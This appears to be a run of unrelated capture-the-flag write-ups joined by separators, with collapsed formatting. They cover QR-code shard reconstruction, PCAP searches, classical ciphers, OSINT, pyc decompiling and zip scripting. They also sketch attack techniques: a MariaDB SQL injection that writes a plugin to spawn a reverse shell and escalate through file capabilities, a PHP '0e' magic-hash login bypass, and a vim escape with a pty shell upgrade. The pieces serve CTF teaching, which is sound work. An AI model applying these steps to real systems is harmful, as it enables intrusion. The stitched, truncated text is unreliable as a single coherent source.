```? I am the Soul Splitter!? If you can recover 20 souls, I will tell you my secret.? Here are 16 shards:eJw7tOAQVvhoWgN2CQTkwif5aFoLXqOwaibCUhx6kawjYDAxmnG6gwtFC5HOJSq8KNZK2M34dWMEQQuSZgLBi8NiDCeRYAwXio+waMQb+LQNaqxOADuRC6fLiEgrAGgFZ9M=eJx7NK3h0ALyINejaS2HFjwizwAuEEGyXqgGLjQ+Fg4Bm8myFkhxwQRacKvFKUWGzZheJlV3C9l60azF4zEsdoKdjdVitGjCiDW4PRQFFzkpA4unkfRiMQSruRSENgC1aWjzeJx7NK3l0IJDCx5NawBRpEEuZA6JJnCRopgMrTicg1PvI0g4wDWj8OEKaGI1lXyM5gfaWkswtvFaS0A37UMKq0Ow6MUaoljtJTH5oygHAGsIY6k=eJw7tOAQBnw0rQUHBxVy4dVIQAJDMz74aFoDil4wH02QSHvBNoPF8fgMN+TC6iACAQVXTZKnKQgvPFqBboGGHkokY3gH3dVw9cR6nXRPYzGZCnoJe5RgmBHwL4b3cScSwhAAzwprZw==eJw7tODRtIZDCxDw0bQWZC4+yIUpRLRuLhLsIWgv3AtgBhKvBbsKiOV4XYBHEou38UEUk7jQQpskB5BoMUVakdxJlF4c4YVVLxa1QCFyPQx0KdZA5UIowOo0vNFPw/DCmwIAEvhqPw==eJw7tOAQHD6a1gAl0CFWwUMLuCByLdjkEFqxSgOFuYhQhgty4XUXUXrJgVi0Qh0OdQncG1hdRpbNUCNJ0osSmkCnYNWM5ES8oY9bM15tUOPJDu1H0zqI1gt2CFqQkxhgDdRxNUVaAWDlaQs=eJw7tOAQCfDRtAYEhwuF92haCw4ODkEuAvI4bMWhmXhIvL3E6300rYMI83A4mij7certQAkjHGZh1Y2mFkso47Uau5ENZOulwFoMJ1DfWgyfYQ1pLjzBSAgCAMi7Z1E=eJw7tOAQFD6a1nBoATpEE3w0rQWZy4WpAa4Gq3EENePVCZSAygEpnNoJQ5K04vIykitRmC04jQErw6afCM0N5IYZlX2Nx24whdULeFyNmVQwfEJJROMMURrrJd/JALfqasU=eJw7tOAQGfDRtIZDC7iIU9kCVQ7nQSCGbrgiLAagQxxWY1WLYQNR7sYOqa8Vh69RJIBMSi0mEDI4XUO2veS5GWw/auLCGUCYenGnLRJDi+hgQnMcBfYCAEf3ZgE=eJw7tOAQmZALQj2a1oJP1aNpDXg0Y9eB10C8eol0Mxan4XAnmma42wg6EkMBQVej6EBzDheSKBEupU14UVkrRgghCSD7F5tOLMJIglw4TCXKJLwpE6tzsOglMY7AygFrHGc5eJw7tODQgkfTGg4tIB7ClXMRVtmC0wguvLbi1EmUzXh1c6H5AqvXcJpI0M9kO5psrYTDCs1bcC5QJ5CNIdtCmZ9RzCNJL5pLqBlgSL5qwK8VqBI1bRIIXzRloKRNvrsBZP5qMw==eJw7tOAQGD6a1nBoASkQqIGLKFVYmCDIhSKKIvloWguYD6RRzWpBMwC36eS5HcMQNCvR3E4OxKkVaDdBP3AR9CkeSYKORtOL4ndSNdM6tEjQSkTKwFBCWyfjdBEAhq5o6w==eJw7tOAQBnw0rQFEtKCKtWAq5MIqC9aOCyJJcuFWRQji1YrVqUTqpcBaSn2LpBYjBAloxutjDL0EwgfFcuoGFloyIeRoAgmpBacZMN1oBuA1jxS78QQaF1ZR4iAAuWRoaQ==eJw7tOAQHD6a1nJoAbEQqJiLeNXokAthTAPZenE7DcNMuBAJboYGB5JpXCSHEpGuxmImihDlIY1hA1HeoEYMEx3HyAFNZiDDLSaoH24ZWCV6HBPlZqhOFItI9zUCAgDPRWffeJw7tOAQmZALU+jRtAYcHAxBLLoJaEVItnARqRSrErw2EzAFQy8R1sPtBTocwydYvYdVnAuHeqwuBatEcRtpQYZhNREOJ0Iv0TZDFXIhaaDc1URbi6QXh634o5Jom7GYDgCXuWrBeJw7tOAQXvhoWgMuKS6CKrAZ1wJESLrJsJegXrymEK0XiwlcRPkX6kG8FhMwBMMIUjQT7WMizOGCqiHRSqgPuBC8BlRJHKZhhjapkLjURVZwITkSRxSTYS+SjwEqsWfH? Recover the soul to prove you are worthy: ```
# Walk through the code
When no environment vars are present, the `main` function loops 20 times. According to the output of the challengeconnection, the challenge host also uses 20 here.
The loop is generating something, then asks for an input. If the given input does not match the expected input, the loopexits. If we complete all 20 iterations without exiting early, we get the flag.
This is python3, so input does not use eval anymore ?.
```pythonSOULS = int(os.getenv('SOULS', '20'))
def main(): print('? I am the Soul Splitter!') print(f'? If you can recover {SOULS} souls, I will tell you my secret.') for _ in range(SOULS): soul, shards = generate_challenge() print(f'? Here are {len(shards)} shards:') print('\n'.join(shards)) recovered = input('? Recover the soul to prove you are worthy: ') if recovered != soul: print('? Wrong! You are unworthy. ' + soul) return print('? You got lucky with this one...') print('? You haven proven yourself! Here\'s my secret:') print(FLAG)```
`generate_challenge` will just call two functions: `select_soul` and `split_soul`. `select_soul` is just generating arandom string of 16 characters. The string could look like this `'Rb6izPy6oVv-KLvYfR9VQg'`.
```pythonSHARDS = int(os.getenv('SHARDS', '17'))
def select_soul(): return secrets.token_urlsafe(16)
def generate_challenge(): soul = select_soul() shards = split_soul(soul, SHARDS) return soul, random.sample(shards, SHARDS - 1)```
In order to understand `split_soul`, we first have to have a look at `soul_code` and `code_atoms`.
`soul_code` will take our random string and make a qrcode from it. Note that error-correction is set to high.
```pythondef soul_code(data): code = qrcode.QRCode( border=0, error_correction=qrcode.constants.ERROR_CORRECT_H, ) code.add_data(data) code.make() return code```
Code atoms takes the qrcode and flattens the modules into a list of tuples.
```pythondef code_atoms(code): size = len(code.modules) atoms = [] for y in range(size): for x in range(size): atoms.append((x, y, code.modules[y][x])) return atoms, size```
The modules of the qrcode object are pretty much a boolean representation of the *pixels* of the code in a 2d array. Forexample, you can see one of the ID-squares as `true` & `false` values.

So after `code_atoms` is done, we have a list of *pixels*.

Now we finally get to `split_soul`. The function will shuffle these atoms. This will order them randomly. The atoms arethen grouped into equally sized chunks. Each chunk now contains some of the *pixels* of the qrcode. The chunk is called*shard_code*.
```pythondef split_soul(soul, n): code = soul_code(soul) atoms, size = code_atoms(code) random.shuffle(atoms) atom_count = len(atoms) r = atom_count % n atoms_per_shard = atom_count // n shard_codes = [] for i in range(0, atom_count - r, atoms_per_shard): shard_codes.append(atoms[i:i + atoms_per_shard]) for i in range(r): shard_codes[i].append(atoms[-1 - i]) return [atoms_token(size, shard_code) for shard_code in shard_codes]```
Using list-comprehension, *shard_code* is turned into something else using `atoms_token`. The function is not veryspectacular. It calls `atoms_to_text`, compresses the result and turns it into base64. So `atoms_to_text` contains allthe magic.
`atoms_to_text` first make a 1d-buffer that can hold all *pixels* of the qrcode. The buffer is later used like a2d-buffer (`buf[y * size + x]`).
The `shard_code` is now called `atoms` again, yay. The list of *pixels* is now turned back into a pseudo-2d-array again.So now we have a buffer with some randomly selected *pixels* of a qrcode.
That buffer is then iterated, but every second line is skipped (`for y in range(0, size, 2):` stepsize is 2).
Depending on the value of the current *pixel* `a` and the value of the same *pixel* in the next line (`b`), acharacter is printed.
So in the end, we get a string that represents a subset of all the *pixels* in a qrcode, and each character tells thevalue of two pixels.
```pythonBLOCK_FULL = chr(9608)BLOCK_UPPER = chr(9600)BLOCK_LOWER = chr(9604)BLOCK_EMPTY = chr(160)
def atoms_token(size, atoms): text = atoms_to_text(size, atoms) return base64.b64encode(zlib.compress(text.encode('utf-8'))).decode('utf-8')
def atoms_to_text(size, atoms): buf = [False] * size ** 2 for atom in atoms: x, y, is_set = atom buf[y * size + x] = is_set text = io.StringIO() for y in range(0, size, 2): for x in range(size): a = buf[y * size + x] b = buf[(y + 1) * size + x] if (y + 1) * size + x < len(buf) else False if a and b: text.write(BLOCK_FULL) elif a: text.write(BLOCK_UPPER) elif b: text.write(BLOCK_LOWER) else: text.write(BLOCK_EMPTY) text.write('\n') return text.getvalue().strip('\n')```
Now we have a list of 17 of these strings. `split_soul` will select 16 of these. The `main` will print these.
## TL;DR
The program generates a qrcode from a random string. The *pixels* of the qrcode are randomly selected, distributed intochunks and converted into 17 strings. From these 17 strings, only 16 are printed in the main. So some data is missing.
Our task is reconstructing the value of the qrcode 20 times in a row.
# Reconstructing the qrcode
Let's start by connecting to the server. That's probably the easiest part ?.
```pythonfrom pwn import remote
def main(): conn = remote("flu.xxx", 10120)
for _ in range(20): conn.recvuntil(b'Here are 16 shards:\n') shards = conn.recvuntil(b'Recover the soul to prove you are worthy') shardlines = shards.splitlines()
restore_qr(shardlines[:-1])
code = input("Enter code:")
conn.sendline(code.encode())
conn.interactive()```
`restore_qr` accepts an array of bytes (shards).
But first we need to undo base64 and zlib compression for each line:
```pythondef decode_qr(qr): for q in qr: yield zlib.decompress(base64.b64decode(q)).decode()```
We make a 2d array of booleans that represents the *pixels* of the qrcode.
We loop over the result. Each shard is now a text of 4 different characters, each line relates to two lines of theoriginal qr code.
Depending on the character we find, we either set one or two *pixels* in the current and/or the next line.
```pythondef restore_qr(shards): cols = 32 buf = [[False for _ in range(cols)] for _ in range(cols)]
for shard in decode_qr(shards): # make 2d image = shard.splitlines() for y in range(len(image)): for x in range(len(image[0])): pixel = image[y][x]
if pixel == BLOCK_FULL: buf[y * 2][x] = True buf[y * 2 + 1][x] = True
elif pixel == BLOCK_UPPER: buf[y * 2][x] = True
elif pixel == BLOCK_LOWER: buf[y * 2 + 1][x] = True
elif pixel == BLOCK_EMPTY: pass else: print(f"Unknown value {ord(pixel)}")
image = boolean_array_to_image(buf) with open("code.png", "wb") as f: image.save(f)
```
After putting all the *pixels* into the buffer, we make an image from it. (ChatGPT wrote that code. Nice!)
```python
def boolean_array_to_image(array): width, height = len(array[0]), len(array) image = Image.new("1", (width, height))
for y in range(height): for x in range(width): pixel_color = 0 if array[y][x] else 1 image.putpixel((x, y), pixel_color)
return image```
Our goal was to simply scan it with a smartphone. Scanning 20 codes shouldn't be that big of a deal. But it turns outthat the missing pixels were a problem for a our scanner app.
Try scanning it on your phone (Trust me bro, Kappa).

For reference, I dumped the original qrcode from the script. You can clearly see some differences.

Of course, we did not have that for the challenge. So we had to find another way to make the scanner app scan it. Wefound that by accident.
We found this image on [Wikipedia](https://en.wikipedia.org/wiki/File:QRCode-2-Structure.png). It was drawn by Wtuvell.Thank you!
The interesting parts are the Red and Purple ones. These are used to identify the qrcode.

We tried fixing the code manually in Paint. We accidentally filmed the process with the scanner app and at some point itdetected the code and read it.
Since that worked one time, we decided to repeat that 19 more times. Get the code, fix it by hand, scan it, sendthe resulting text to the server, repeat.
To quickly get the text from the phone to the PC, we paired it using [KDE Connect](https://kdeconnect.kde.org/) and usedthe *Clipboard Sharing*-Feature.
|
*-*-*-*-*-*-._GIT REKT (50 Points)_.-*-*-*-*-*-*Q) One of our teammates at Turbo Tactical ran a phishing campaign on spookyboi and thinks spookyboi may have submitted credentials. We need you to take a look at the PCAP and see if you can find the credentials.
[Download File](https://tinyurl.com/2wf28u2h)
A) This question provides all the necessary information, especifically the username.Conducting a search for a string in the PCAP file for the username will swiftly display the answer on your GUI.```frame contains “spookyboi”```flag{SpectralSecrets#2023} |
# int_generator> There is a machine that takes any integer between 0 and 2**35 (inclusive) and returns a 16-digit integer.What are flag1, flag2, and flag3?
> FLAG format:FLAG{flag1_flag2_flag3}
## About the ChallengeWe have been given a zip file (You can download the file [here](mis-int-generator.zip)). There are 2 files inside the zip file, `chall.py` and `output.txt`. Here is the content of `chall.py`
```pythonimport random
k = 36maxlength = 16
def f(x, cnt): cnt += 1 r = 2**k if x == 0 or x == r: return -x, cnt if x * x % r != 0: return -x, cnt else: return -x * (x - r) // r, cnt
def g(x): ret = x * 2 + x // 3 * 10 - x // 5 * 10 + x // 7 * 10 ret = ret - ret % 2 + 1 return ret, x // 100 % 100
def digit(x): cnt = 0 while x > 0: cnt += 1 x //= 10 return cnt
def pad(x, cnt): minus = False if x < 0: minus = True x, cnt = g(-x) sub = maxlength - digit(x) ret = x for i in range(sub - digit(cnt)): ret *= 10 if minus: ret += pow(x % 10, x % 10 * i, 10) else: ret += pow(i % 10 - i % 2, i % 10 - i % 2 + 1, 10) ret += cnt * 10 ** (maxlength - digit(cnt)) return ret
def int_generator(x): ret = -x x_, cnt = f(x, 0) while x_ > 0: ret = x_ x_, cnt = f(x_, cnt) return pad(ret, cnt)
num1 = random.randint(0, 2 ** (k - 1))num2 = random.randint(0, 2 ** (k - 1))num3 = random.randint(0, 2 ** (k - 1))
print("int_generator(num1):{}".format(int_generator(num1)))print("int_generator(num2):{}".format(int_generator(num2)))print("int_generator(num3):{}".format(int_generator(num3)))```
This code is a Python implementation of a complex integer generator function that takes an integer as input and returns a padded integer. The generator function involves multiple sub-functions that manipulate and transform the input integer in various ways, including checking for certain properties, performing arithmetic operations, and adding padding zeros to ensure that the output integer is of a fixed length. The code uses a combination of mathematical techniques and random number generation to generate unique, large, and complex integers. Overall, the code seems to be designed for some specific application that requires the generation of such integers.
And here is the content of `output.txt`
```int_generator(flag1):1008844668800884int_generator(flag2):2264663430088446int_generator(flag3):6772814078400884```
## How to Solve?I solved this with one of the TCP1P players, `@kaelanalysis`. He already got the `flag1`, `flag2` and `flag3`. But because we can't input negative number, we need to find another way to get the value of `flag2`

To find the `flag2` im using bruteforce approach.
```pythonfor i in range(0, 2 ** (k - 1)): num2 = i
print("int_generator(" + str(i) + "):{}".format(int_generator(num2)))```
So this code will try every number from `0` to `2**35`. And here is the command that I used to get `flag2`
```shellpython3 solve.py | grep 2264663430088446```

```FLAG{0_26476544_34359738368}``` |
tl;dr:
* Endpoint with an sql injection supporting stacked queries with mariadb* use LOAD_FILE() to get source of php script where has a secret password that gives more info* use INTO DUMPFILE to upload a custom mariadb plugin that spawns a reverse shell* create mysql.plugins table which is missing* install plugin* get reverse shell* notice that mariadb client has cap_setfcap=ep capabilities set* upload a client side mariadb plugin that sets cap_dac_override=ep on a file of our chosing (like a copy of cat)* read the flag stored in /flag
See [https://blog.bawolff.net/2023/10/ctf-writeup-n1ctf-2023-ezmaria.html](https://blog.bawolff.net/2023/10/ctf-writeup-n1ctf-2023-ezmaria.html) for full details and explanation |
Seems like morse code. Decoding with a morse code audio decoder gets the following:
THE KEY IS HACKTHEPLANET (spacing unknown)
Search through the forums a little bit for a hint! Check out [https://ghosttown.deadface.io/t/rendezvous-lets-goooooo/127/4](http://) for the encrypted date as a png. Reverse image solve indicates it's an *HIBC PAS Codablock-F barcode.* After lots of searching, I finally found this site: [https://products.aspose.app/barcode/recognize#/recognized](http://) Decrypts the barcode as YEOOFIIGEHRJBMTJYYUSKPMOIK Decrypt with Vigenere's with HACKTHEPLANET as the key to get REMEMBERTHEFIFTHOFNOVEMBER
flag{NOVEMBER-5} |
Use a cipher identifier to identify it as a rail fence cipher!
IOBTSHIASKLENJOCMEUAGTGLTNTUYUIIOTEALHVAPOYALWEADNOSMSAYOISORLGSHSADHUSSRBTNRSEOHONEYERVYFIONO becomes ITSNOTRUBYBUTITISONTHERAILSHAVEASPOOKYHALLOWEENANDENJOYSOMESCARYMOVIESYOURFLAGISGHOSTANDGHOULS
flag{ghostandghoulss} |
Click on the image. Seems like a simple variation of Caesar's Cipher! We can create a simple Python program to decode.
```s = 'fwpl lsjywl xgj ew oadd tw smjgjs hzsjes''Fwpl lsjywl xgj ew oadd tw Smjgjs Hzsjes.' # (original)for c in s: if c == ' ': print(' ', end='') continue print(chr((ord(c) - ord('a') + 8) % 26 + ord('a')), end='')```
flag{Aurora Pharma} |
Reverse image search returns a folktale that tells us it's in Middleburry and it's cursed to make anyone who sits on it die after 7 years!
flag{Middlebury7} |
We need a way to decompile this pyc code so that we can access the original python script. I use [pycdc.exe][pycdc.exe] for this. It will just return the code in the terminal so either copy it directly from there or pipe the output to a file.
{% highlight python %}class Dill: prefix = 'sun{' suffix = '}' o = [ 5, 1, 3, 4, 7, 2, 6, 0]
def __init__(self = None): self.encrypted = 'bGVnbGxpaGVwaWNrdD8Ka2V0ZXRpZGls'
def validate(self = None, value = None): if not value.startswith(Dill.prefix) or value.endswith(Dill.suffix): return False value = None[len(Dill.prefix):-len(Dill.suffix)] if len(value) != 32: return False #create a list of 4 chars each and adding to c c = (lambda .0 = None: [ value[i:i + 4] for i in .0 ])(range(0, len(value), 4)) #value = None((lambda .0 = None: [ c[i] for i in .0 ])(Dill.o)) value = (lambda .0=None: [c[i] for i in .0])(Dill.o) if value != self.encrypted: return False{% endhighlight %}
Now that we have the code, we can start breaking it down. Right away we see a `self.encrypted` value of `bGVnbGxpaGVwaWNrdD8Ka2V0ZXRpZGls` which I can assume is the string we need to decode. Moving through the code it starts by checking that the value has the prefix of 'sun{' and ends with '}' to match the flag standard for this ctf. Next it is checking that the length is 32 characters long which doesn't affect us much. I explain in my code comment that the `c = lambda ...` is simply breaking apart the input into groups of 4 chars and appending them to the list 'c'. So we can start easy and break our encrypted string into groups of four.
`c = [bGVn, bGxp, aGVw, aWNr, dD8K, a2V0, ZXRp, ZGls]`
Now onto the next lambda function for *value*. You can see that I have a commented out value expression which was the original output of the decompiler but is incorrect. The decompiler will sometimes return slightly off code which will need to be manually corrected. The uncommented line is my corrected version of the code and what I will be reversing. This line is iterating through the values of c and reordering them based on Dill.o (a list of values from 0-7). This is pretty easy to reverse as we would just move the values back to where they were before (i.e the current c[0] would move to position 5). I will show the basic process below:
{% highlight python %} 0 1 2 3 4 5 6 7 # final positionsc = bGVn bGxp aGVw aWNr dD8K a2V0 ZXRp ZGls 5 1 3 4 7 2 6 0 # where they need to move back to
original = [ZGls, bGxp, a2V0, aGVw, aWNr, bGVn, ZXRp, dD8K]{% endhighlight %}
So we are left with the string *ZGlsbGxpa2V0aGVwaWNrbGVnZXRpdD8K* as the decrypted version. Moving over to cyberchef, we can try and decode it to see if it is correct. Running it through a base64 decrypt we get *dilllikethepicklegetit?*. So that tells us that it is correct. Back to the submission page we can enter the flag `sun{ZGlsbGxpa2V0aGVwaWNrbGVnZXRpdD8K}`. Make sure you do not keep trying to enter the decrypted version like I did for 5 minutes.
[pycdc.exe]: https://github.com/extremecoders-re/decompyle-builds |
In this challenge, it was noticeable that if you accessed the main directory '/' of the challenge's website, the web server would render all the files and directories present on the page (including a file named `database.db`, which was an SQLite database). \As soon as I found this file, I analyzed its contents until I discovered the hashed password of the admin. This hash (in SHA-1) started with a very famous prefix known for its vulnerabilities in PHP, namely `0e`. \In fact, the password would be interpreted by PHP as a number, specifically `0`. The only way I had to bypass the login was to find a SHA-1 hash that also started with `0e`. \This is one useful repository with a lot of these hashes: [Repository](https://github.com/spaze/hashes/tree/master) |
# zipzipzip
The solution consists of extracting each of the 25,000 layers, with each layer containing a password.txt file and a new .zip file. By scripting this process you can do it in a reasonable amount of time.
Solution using 7-zip:
```pythonimport subprocessimport os
def unzip_with_7z(zip_path: str, output_dir: str, password: str): result = subprocess.run( [ "7z", "e", f"-p{password}", "-o" + output_dir, zip_path, "-aoa", ], capture_output=True, text=True, )
def main(): initial_zip = "zip-25000.zip" initial_password = "Mo0YAEJs" output_dir = "./unzip_temp" current_password = initial_password
if not os.path.exists(output_dir): os.makedirs(output_dir)
unzip_with_7z(initial_zip, output_dir, initial_password)
iteration = 1 while True: print(f"Processing layer {iteration}, pass: '{current_password}'...")
zip_files = sorted([f for f in os.listdir(output_dir) if f.endswith(".zip")]) password_file = "password.txt"
if not zip_files: print("No more .zip files found. Exiting.") break
current_zip = os.path.join(output_dir, zip_files[-1]) password_path = os.path.join(output_dir, password_file) if os.path.exists(password_path): with open(password_path, "r") as f: current_password = f.read().strip()
unzip_with_7z(current_zip, output_dir, current_password) os.remove(current_zip) iteration += 1
if __name__ == "__main__": main()```
Flag: `TCP1P{1_TH1NK_U_G00D_4T_SCR1PT1N9_botanbell_1s_h3r3^_^}` |
Using Ctrl+F in the .sql file, I found that Remizide had an ID of 13. Therefore, we can write a short Python script to parse it:
```'''# MAKE NEW LINES
r = open('inventory.txt', 'r').read()w = open('inventory_newline.txt', 'w')
r = r.split('),')for line in r: w.write(line) w.write('),\n')w.close()'''
f = open('inventory_newline.txt', 'r')
a = [0] * 1501 # there exist 1500 citiesfor line in f: line = line.split(',') if int(line[1]) == 13: a[int(line[2])] += int(line[4][:-1])
m = 0mi = 0for i in range(len(a)): if a[i] > m: m = a[i] mi = iprint(m, mi)```
Note that the first half of the code that is commented out is just for the purpose of making a file that is easier to parse through. This gives us an ID of 531, which corresponds to Miami in the .sql file!
flag{Miami} |
With Ctrl+F, I identified all the corresponding IDs:
Dr. Flegg - 1953 Automeda - 9 June 2023 - 2023-06
There are only 66 results for Ctrl+F for ",1953," so we can just brute force this pretty easily!Brute forcing should result in this entry - (7170,17430,9,1953,'2023-06-25','Take 100mg once daily every 3 hours.',5,'2023-11-18')
Search for prescription_id 7170 in orders table with Ctrl+F --> (6240,'DYP8AXK3QG9OTPWB',7170)
flag{DYP8AXK3QG9OTPWB} |
# important_notes> idk im blanking on any lore for this challenge
## About the ChallengeWe have been given a zip file (You can download the file [here](important_notes.zip)), if we unzip the file we got 7 text files

## How to Solve?If we check on `idea2.txt` file. You will notice there are a lot of whitespace

Decode that whitespace using [whitespace language](https://www.dcode.fr/whitespace-language)

```wctf{h4rD_dr1v3_bR0Wn135_mmMmmMm}``` |
**Feeling lucky (250 Points)** Q) It seems DEADFACE was able to track Ajejandro's movements again. They shared this photo they took from Alejandro. Knowing this location might help us intercept the DEADFACE member who's looking for Alejandro.Submit flag as flag{City, state code, Zip Code}. Example: flag{Allison Park, PA, 15101}.
[Download Image](https://tinyurl.com/3yv7yxme)
A) Slapping the image in reverse image search didn’t got me far. Reroute to the hard way.Viewing the image can give a few important indicators:* Mountains with snow* Big round red sign with the word “lucky” Lucky Supermarket (Albertsons) is the name of the chain. Nevertheless, the majority of their buildings share many similar appearances. Searching “Lucky Supermarket” in Google images helped me get my hands on a better picture. Reverse image search and apparently someone is renting out a shop over [there](https://www.mapquest.com/us/utah/lucky-273155186). ```flag{West Valley City, UT, 84119}``` |
Complete the word search! Also, given the image of Caesar in the corner, I thought that maybe it indicated it was Caesar's Cipher? Do the same thing as in lettersoup and take the non-shaded characters. Translating just the first line with an automatic ROT decrypter will tell you that ROT7 works and tells you to only look at the last line. Go to the last line and decrypt to get the flag.
flag{astheyflyacross} |
Once connecting to the machine you load into vim right away. Based on the situation the only way is to escape vim. The easiest way is ``:sh`` or ``:shell`` where ``:`` indicates the command in the vim terminal. After you escape vim you can also upgrade your shell with either ``/bin/bash`` or ``python -c 'import pty; pty.spawn("/bin/bash")'``(There is python on the box). |
In this challenge, we start with a network capture and we want to find which `SSH` version was eventually compromised by a brute force attack.
Let's read the capture with `tshark` :
```shtshark -r PCAP02.pcapng```
We have a lot of packets in this capture and different protocols. We are looking for `SSH` so let's filter the output :
```shtshark -r PCAP02.pcapng -Y "ssh"```
Now we can reduce the number of packets by filtering with `grep` to keep only `SSH` versions :
```shtshark -r PCAP02.pcapng -Y "ssh" | grep SSH-```
We have the version `SSH-2.0-9.29 FlowSsh: Bitvise SSH Server (WinSSHD) 9.29` so let's try the flag `flag{SSH-2.0-9.29 FlowSsh: Bitvise SSH Server (WinSSHD) 9.29}`
And here we are, the challenged is validated !
|
Using stegsolve and traversing through the different color planes, notice that Green Plane 5 has a bunch of binary! Because it was a lot of lines of binary to write down, I just translated the last line of binary because that usually has the answer.
flag{mirveal} |
Decompile with [https://dogbolt.org/](http://) --> Hex-RaysRelevant code:
```v10 = "Dr. Geschichter, just because he is evil, doesn't mean he doesn't have a favorite cereal."; v9 = "Please enter the passphrase, which is based off his favorite cereal and entity: "; v8 = "notf1aq{you-guessed-it---this-is-not-the-f1aq}"; v7 = "Xen0M0rphMell0wz"; v6 = 0; for ( i = 0; i <= 32; ++i ) { if ( v11[i] ) Buffer[i] = v7[i % 16] ^ v11[i]; } Buffer[32] = 0; puts(v10); printf("%s", v9); scanf("%s", Str1); v6 = strcmp(Str1, v7); if ( v6 ) puts(v8); else puts(Buffer); return 0;```
Clearly, v7 should be our input! Send it to the program and get the flag!
flag{XENO-DO-DO-DO-DO-DO-DOOOOO} |
# Marian Croak
## Description> Marian Rogers Croak is a Vice President of Engineering at Google. She was previously the Senior Vice President of Research and Development at AT&T. She holds more than 200 patents. She was inducted into the Women in Technology International Hall of Fame in 2013. In 2022, Croak was inducted into the National Inventors Hall of Fame for her patent regarding VoIP (Voice over Internet Protocol) Technology. She is one of the first two Black women to receive that honor, along with Patricia Bath. Her invention allows users to make calls over the internet instead of a phone line. Today, the widespread use of VoIP technology is vital for remote work and conferencing. - Wikipedia Entry
> Chal: Find the discarded flag and return it to this Hall of Fame Inventor
### Attachments[Disk Image](https://drive.google.com/file/d/1htCVEWDKhAVzvZ1vMs6wzXWPcMir5ebB/view)
## Solution* Running `fls` on the image file gives us the following output: ```shell $ fls disk.img d/d 11: lost+found r/r 14: flag.txt V/V 12825: $OrphanFiles ```* We can see that there is a `flag.txt` file in the image file.* Running `icat` on the image file, we get a fake flag: ```bash $ icat disk.img 14 chctf{fake_flag_it_is} ```
* Using the `Sleuth Kit` CLI was of not much use.* Opening the image file in `Autopsy` and looking at the `Deleted Files` tab we see a `.pcap` file.* We can recover the deleted `.pcap` file and open it in `Wireshark`.* Open the pcap file and look for VoIP Calls (`Telephony > VoIP Calls`)* Listen to the last audio from `testuser` and we get the flag.
### FLAG```chctf{d3v3l0p3d_vo1c3_0v3r_1p}``` |
## Nice Vacation> Alejandro has been on a road trip to get to his new job working for Techno Global industries. This one one of the first paces he stopped at according to his Instagram.> Submit the flag as flag{City. state abreviation}. Example: flag{Denver, CO}.
## SolutionThe following image is provided:

On the right side of the image we can find a banner for Mobile Onsite Oil and their phone number 307–267–9692.
Googling this, we can find [this business located in Casper, WY.](https://mobileonsiteoil.com)
Therefore the flag is `flag{Casper, WY}`
Thanks for reading! |
## G(l)o Clouds!> Alejandro has been seen as an easy mark for DEADFACE. Do a sweep of his social media to see what information DEADFACE was able to gather on Alejandro. Scroll through Alejandro's social media to find out the degree he graduated with, from what school, and in what year.> Submit the flag as: flag{school-initials_degree-program_year}. Example: flag{LSU-politicalscience-87}.
## SolutionSince there is lots of info on Ghost Town forum provided by the CTF, we will first search for Alejandro there. We can find [this thread](https://ghosttown.deadface.io/t/tgri-and-lytton-labs/96/11) which contains [Alejandro's Facebook page]( https://www.facebook.com/profile.php?id=100092649204317)
On his Facebook page we can find this:

This states his school, Night Vale University (NVU), his major in cybersecurity, and he graduated in 2023.
Therefore the flag is` flag{NVU-cybersecurity-23}`
Thanks for reading! |
## Task > There have been some encrypted documents being passed around on the Ghost Town forum. When asked for the password, someone just posted a link to some web color template tool. We don't know what to make of this. Do you? ## SolutionThe link provided: https://ghosttown.deadface.io/t/chickens-cant-fly-but-these-ones-do-a-lot/128For this challenge, we have to find and decrypt a key to unlock the ZIP file provided.The ZIP file contains a JSON file requires a key to unlock
In the forum thread, the following image is provided as a clue:

If we read the hex value of the color of each squares (I personally used this online tool: https://imagecolorpicker.com/en)
From left to right:#476c40#353548#237524#332474#4f6e33#536d40#35680a
Converting those hex values to ASCII gives: `Gl@55H#u$3$tOn3Sm@5h`. Entering the code unlocks the JSON file, which contains flight log information.
At the last line (513) we can find the flag: `{"flag": "flag{D3@dF@c3Rulz!}"}`
Thank you!
|
# Doki Doki Anticheat
Heyo stranger, I really need ur help! My PC hasn't been working for the past few days and the only thing I'm left with are my savefiles (I always have them on my USB-Stick, just in case). I need to know what's next in my favorite video game, could you please load these savefiles and tell me the following dialogue, please, I can't wait any longer!
Here's a link to the game, you can even run it easily on Linux: https://teamsalvato.itch.io/ddlc
I don't know how to contact you, so just text me the dialogue as a flag, ok? So if the dialogue says:"Sayori, what is up with you.." Then just send flag{Sayori,_what_is_up_with_you..} I'd be really REALLY thankful if you'd do that!
## Solution
RenPy save games are stored in `%AppData%/RenPy/<gameName>/` on Windows, so if we copy the files we got there we can see the following:

But thanks to [this random online save game editor website](https://www.saveeditonline.com/)

We can see some suspicious options - so if we turn them off:

This gives us the flag to copy

```flag{...There_is_no_way_I'm_going_to_your_club.}```
Note here, that it seems that the `anticheat` value actually matters and entering 1337 just seems to randomly work.That makes this quite the scuffed writeup, but it seems other people have just extracted the next said sentence from the RenPy save directly,if you know what you are looking for then it's very visible.

# Cube Hash
I build a super secure hash function and encoded the hash in my login checker. But by my bad luck I lost the password. Do you dare to recover it?
## Solution
The program itself comes with symbols so there isn't much in detail low-level reverse engineering going on.
```pythonCUBE_LENGTH = 0x28CUBE_LENGTH_M1 = CUBE_LENGTH-1
def convChar(c): rcx = (c - 0x30)&0xff if rcx <= 0x4d: if rcx >= 0 and rcx <= 9: return (c-0x30)&0xff if rcx >= 0x11 and rcx <= 0x2a: return (c-0x37)&0xff if rcx >= 0x31 and rcx <= 0x4a: return (c-0x3d)&0xff if rcx == 0x4d: return 0x3f if (((((((((((((((((((((((((((rcx == 0x11 or rcx == 0x12) or rcx == 0x13) or rcx == 0x14) or rcx == 0x15) or rcx == 0x16) or rcx == 0x17) or rcx == 0x18) or rcx == 0x19) or rcx == 0x1a) or rcx == 0x1b) or rcx == 0x1c) or rcx == 0x1d) or rcx == 0x1e) or rcx == 0x1f) or rcx == 0x20) or rcx == 0x21) or rcx == 0x22) or rcx == 0x23) or rcx == 0x24) or rcx == 0x25) or rcx == 0x26) or rcx == 0x27) or rcx == 0x28) or rcx == 0x29) or rcx == 0x2a) or rcx == 0x4b)): return 0x3e return None
def read_a(buf, i, j, x, y): if y == 0: return buf[i][j][x] elif y == 1: return buf[i][x][j] elif y == 2: return buf[x][i][j] def write_a(buf, i, j, x, y, v): if y == 0: buf[i][j][x] = v elif y == 1: buf[i][x][j] = v elif y == 2: buf[x][i][j] = v
